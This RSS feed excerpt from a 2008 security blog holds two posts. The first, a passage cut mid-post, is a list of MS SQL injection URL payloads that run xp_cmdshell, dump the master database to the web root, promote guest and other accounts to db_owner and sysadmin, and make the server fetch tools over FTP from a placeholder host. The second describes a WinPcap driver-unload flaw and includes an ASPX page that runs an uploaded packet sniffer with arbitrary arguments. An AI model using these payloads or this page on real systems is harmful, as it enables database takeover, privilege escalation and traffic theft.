<blockquote><p>viewdetail.aspx?test=22&#8242;;EXEC xp_cmdshell &#8216;ping 127.0.0.1&#8242; ;</p></blockquote>
<p><strong>3- Back UP From Database :</strong></p>
<blockquote><p>viewdetail.aspx?test=22&#8221;+BACKUP database master to disk=&#8217;d:\Inetpub\wwwroot\1.zip&#8217;;&#8211;</p></blockquote>
<p><strong>4- GUEST = DB_OWNER :</strong></p>
<blockquote><address>/FullStory.asp?id=1;exec sp_executesql N&#8217;create view dbo.test as select * from master.dbo.sysusers&#8217;<br />
exec sp_msdropretry &#8216;xx update sysusers set sid=0&#215;01 where name=&#8221;dbo&#8221;&#8217;,'xx&#8217; exec sp_msdropretry &#8216;xx update dbo.test set sid=0&#215;01,roles=0&#215;01 where name=&#8221;guest&#8221;&#8217;,'xx&#8217; exec sp_executesql N&#8217;drop view dbo.test&#8217;&#8211;</address>
</blockquote>
<p>5<strong> &#8211; ADDIN TO &#8220;BUILTIN\ADMINISTRATORS&#8221;</strong></p>
<blockquote><p>FullStory.asp?id=1;exec sp_executesql N&#8217;create view dbo.test as select * from master.dbo.sysxlogins&#8217; exec sp_msdropretry &#8216;xx update sysusers set sid=0&#215;01 where name=&#8221;dbo&#8221;&#8217;,'xx&#8217; exec sp_msdropretry &#8216;xx update dbo.test set xstatus=18 where name=&#8221;BUILTIN\ADMINISTRATORS&#8221;&#8217;,'xx&#8217; exec sp_executesql N&#8217;drop view dbo.test&#8217;&#8211;</p></blockquote>
<p>and then :</p>
<blockquote><p>FullStory.asp?id=1;exec master..sp_addsrvrolemember &#8216;nhaxinh&#8217;,sysadmin &#8211;</p></blockquote>
<p>ENABLE OPENROWSET/OLEDB :</p>
<blockquote><p>FullStory.asp?id=1;select * from openrowset(&#8216;sqloledb&#8217;,&#8221;;;,&#8221;)&#8211;</p></blockquote>
<p><strong>6- Open Remote Link :</strong></p>
<blockquote><p>/FullStory.asp?id=1;select * from openrowset(&#8216;sqloledb&#8217;,&#8221;;;,&#8221;)&#8211;</p></blockquote>
<p><strong>7 &#8211; UPLOAD NETCAT or &#8230;</strong></p>
<blockquote><p>/FullStory.asp?id=1;select * from openrowset(&#8216;sqloledb&#8217;, &#8216;server=UNESCO;uid=BUILTIN\Administrators;pwd=&#8217;,'set fmtonly off select 1 exec master..xp_cmdshell &#8220;echo open a.b.c.d &gt;f &amp; echo user a a &gt;&gt;f &amp; echo bin &gt;&gt;f &amp; echo cd a &gt;&gt;f &amp; echo mget * &gt;&gt;f &amp; echo quit &gt;&gt;f &amp; ftp -v -i -n -s:f&#8221; &amp; del f&#8217;)&#8211; (&gt; == &#8220;&gt;&#8221;)</p></blockquote>
<p>Code:</p>
<blockquote><p>echo open a.b.c.d &gt;f</p>
<p>echo user a a &gt;&gt;f</p>
<p>echo bin &gt;&gt; f</p>
<p>echo cd a &gt;&gt;f</p>
<p>echo mget * &gt;&gt;f</p>
<p>echo quit &gt;&gt;f</p>
<p>ftp -v -i -n -s:f</p>
<p>del f</p></blockquote>
<p>Another Way? !</p>
<p>You Can use PANGOLIN , it is good Sql injector with bypass some Protection :</p>
<p>Download :<br />
<a href="http://www.05112.com/Article/UploadFiles/200803/20080325095549157.jpg"><img class="alignnone" title="pangolin" src="http://www.05112.com/Article/UploadFiles/200803/20080325095549157.jpg" alt="" width="394" height="314" /></a></p>
<p>http://www.nosec.org/</p>
<p>Enjoy .</p>
<p>Daphne .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/10/ms-sql-injection-privilege-scalation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>bug in winpcap</title>
		<link>http://www.abysssec.com/blog/2008/10/bug-in-winpcap/</link>
		<comments>http://www.abysssec.com/blog/2008/10/bug-in-winpcap/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 15:42:28 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>

		<guid isPermaLink="false">http://secure-developer.com/blog/?p=9</guid>
		<description><![CDATA[BUG IN WINPCAP I feel God Is here . Hi dear , I’M Daphne , My job is Penetration Tester (Pen-Tester) , I write About This Subject and Around  . Pent-Test is Cool &#38; funny job with hacking interesting subject. anyway …. I use winpcap 4.2(last version) http://www.winpcap.org/install/default.htm what is winpcap : WinPcap is the [...]]]></description>
			<content:encoded><![CDATA[<h3><a title="Daphne First Post , BUG IN WINPCAP" rel="bookmark" href="../?p=14">BUG IN WINPCAP</a></h3>
<p>I feel God Is here .</p>
<p>Hi dear , I’M Daphne , My job is Penetration Tester (Pen-Tester) , I write About This Subject and Around  .</p>
<p>Pent-Test is Cool &amp; funny job with hacking interesting subject.</p>
<p>anyway ….</p>
<p>I use winpcap 4.2(last version)</p>
<p><a title="http://www.winpcap.org/install/default.htm" href="http://www.winpcap.org/install/default.htm">http://www.winpcap.org/install/default.htm</a></p>
<p>what is winpcap :</p>
<p align="justify"><span style="font-size: medium;">W</span>inPcap is the industry-standard tool for link-layer network access in Windows environments: it allows applications to capture and transmit network packets bypassing the protocol stack, and has additional useful features, including kernel-level packet filtering, a network statistics engine and support for remote packet capture.</p>
<p align="justify"><span style="font-size: medium;">W</span>inPcap consists of a driver, that extends the operating system to provide low-level network access, and a library that is used to easily access the low-level network layers. This library also contains the Windows version of the well known <em>libpcap</em> Unix API.</p>
<p align="justify">How to load winpcap in windows :</p>
<p align="justify"><img class="alignnone" title="winpcap load graph" src="http://www.coffeecat.net.cn/winpcap/html/internals-arch.gif" alt="" width="280" height="355" /></p>
<p align="justify">
<p align="justify">BUG :</p>
<p align="justify">when Administrator or Other Power users in windows summon winpcap driver (such as wireshake or nmap or cain or …) driver loaded !</p>
<p align="justify">but , when close program , winpcap driver still in memory , That’s it .</p>
<p align="justify">when driver not unload , Guest user or IIS_User can load this driver in kernel level , and SNNIFF Admin Packet in administrator Level or get  Administrator privilege .</p>
<p align="justify">I sniff packet with win dump in guest mod .<br />
<a title="http://www.winpcap.org/windump/install/default.htm" href="http://www.winpcap.org/windump/install/default.htm"> http://www.winpcap.org/windump/install/default.htm</a></p>
<p align="justify"><a href="http://i34.tinypic.com/11hthg3.jpg"><img class="alignnone" title="winpcap guest level " src="http://i34.tinypic.com/11hthg3.jpg" alt="" width="402" height="306" /></a></p>
<p style="text-align: left;">Ok , I write This little tools for iis7 &#8211; iis6 in windows 2003 &#8211; 2008 :</p>
<p style="text-align: left;">usage :</p>
<p style="text-align: left;">load wireshake or other tool that run winpcap driver .</p>
<p style="text-align: left;">rename windump.exe to packet.exe and upload near winpcap.aspx and run it .</p>
<p style="text-align: left;">and then you can sniffed packed in 1.txt /</p>
<p style="text-align: left;"><strong>winpcap.aspx</strong></p>
<p style="text-align: left;"><em>&lt;%@ Page Language=”VB” Debug=”true” %&gt;<br />
&lt;%@ import Namespace=”system.IO” %&gt;<br />
&lt;%@ import Namespace=”System.Diagnostics” %&gt;<br />
&lt;script runat=”server”&gt;<br />
Sub RunCmd(Src As Object, E As EventArgs)<br />
Dim myProcess As New Process()<br />
‘ Change Path Of tcpdump<br />
Dim myProcessStartInfo As New ProcessStartInfo(Server.MapPath(”packet.exe”))<br />
myProcessStartInfo.UseShellExecute = False<br />
myProcessStartInfo.RedirectStandardOutput = true<br />
myProcess.StartInfo = myProcessStartInfo<br />
myProcessStartInfo.Arguments=xCmd.text<br />
myProcess.Start()<br />
Dim myStreamReader As StreamReader = myProcess.StandardOutput<br />
Dim myString As String = myStreamReader.Readtoend()<br />
myProcess.Close()<br />
mystring=replace(mystring,”&lt;”,”&amp;lt;”)<br />
mystring=replace(mystring,”&gt;”,”&amp;gt;”)<br />
result.text= vbcrlf &amp; “&lt;pre&gt;” &amp; mystring &amp; “&lt;/pre&gt;”<br />
End Sub&lt;/script&gt;<br />
&lt;form runat=”server”&gt;<br />
New Method Of Packet Sniffing In web whith Public Accesss .<br />
&lt;br /&gt;<br />
This Program Run is AS IS !<br />
&lt;strong&gt;&lt;span class=”style-2″&gt;Serve rip&lt;/span&gt;&lt;/strong&gt; :&lt;span class=”style-2″&gt;  &lt;%=request.ServerVariables(”LOCAL_ADDR”)%&gt;&lt;/span&gt;&lt;br&gt;<br />
&lt;strong&gt;&lt;span class=”style-2″&gt;Machine Name&lt;/span&gt;&lt;/strong&gt; :&lt;span class=”style-2″&gt; &lt;%=Environment.MachineName%&gt;&lt;/span&gt;&lt;br&gt;<br />
&lt;strong&gt;&lt;span class=”style-2″&gt;Network Name&lt;/span&gt;&lt;/strong&gt; :&lt;span class=”style-2″&gt; &lt;%=Environment.UserDomainName.ToString()%&gt;&lt;/span&gt;&lt;br&gt;<br />
&lt;strong&gt;&lt;span class=”style-2″&gt;User Name&lt;/span&gt;&lt;/strong&gt; :&lt;span class=”style-2″&gt; &lt;%=Environment.UserName%&gt;&lt;/span&gt; &lt;br&gt;<br />
&lt;strong&gt;&lt;span class=”style-2″&gt;OS Version&lt;/span&gt;&lt;/strong&gt; :&lt;span class=”style-2″&gt; &lt;%=Environment.OSVersion.ToString()%&gt;&lt;/span&gt;&lt;br&gt;<br />
&lt;strong&gt;&lt;span class=”style-2″&gt;IIS Version&lt;/span&gt;&lt;/strong&gt; :&lt;span class=”style-2″&gt; &lt;%=request.ServerVariables(”SERVER_SOFTWARE”)%&gt;&lt;/span&gt;&lt;br&gt;<br />
&lt;strong&gt;&lt;span class=”style-2″&gt;HTTPS&lt;/span&gt;&lt;/strong&gt; &lt;span class=”style-2″&gt;: &lt;%=request.ServerVariables(”HTTPS”)%&gt;&lt;/span&gt;&lt;br&gt;<br />
&lt;/tr&gt;<br />
&lt;br /&gt;<br />
Tested On Windows vista , IIS7 .<br />
&lt;br /&gt;<br />
&lt;h5&gt;Discover By “DAPHNE IDEA SECURITY ” .&lt;/h5&gt;<br />
&lt;br /&gt;<br />
Exp: -i 6 -w “c:\windows\temp\packet.txt”<br />
&lt;hr /&gt;<br />
&lt;asp:Label id=”L_p” style=”COLOR: #0000ff” runat=”server” width=”80px”&gt;TCP DUMP PATH:&lt;/asp:Label&gt;<br />
&lt;br /&gt;<br />
&lt;label&gt;&lt;%=Server.MapPath(”packet.exe”)%&gt;&lt;/label&gt;<br />
&lt;/asp:TextBox&gt;<br />
&lt;br /&gt;<br />
&lt;asp:Label id=”L_a” style=”COLOR: #0000ff” runat=”server” width=”80px”&gt;Arguments&lt;/asp:Label&gt;<br />
&lt;asp:TextBox id=”xcmd” style=”BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid” runat=”server” Width=”300px”&gt;-D&lt;/asp:TextBox&gt;<br />
&lt;br /&gt;<br />
&lt;br /&gt;<br />
&lt;asp:Button id=”Button” style=”BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; COLOR: #ffffff; BORDER-BOTTOM: #084b8e 1px solid; BACKGROUND-COLOR: #000000″ onclick=”runcmd” runat=”server” Width=”100px” Text=”DUMP PAcket”&gt;&lt;/asp:Button&gt;<br />
&lt;p&gt;<br />
&lt;asp:Label id=”result” style=”COLOR: #0000ff” runat=”server”&gt;&lt;/asp:Label&gt;<br />
&lt;/p&gt;<br />
&lt;/form&gt;</em></p>
<p style="text-align: left;">
<p style="text-align: left;">this tools is sample .</p>
<p style="text-align: left;">in future i speak about how to Privilege escalation with kartoffell tools in drivers .;)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/10/bug-in-winpcap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
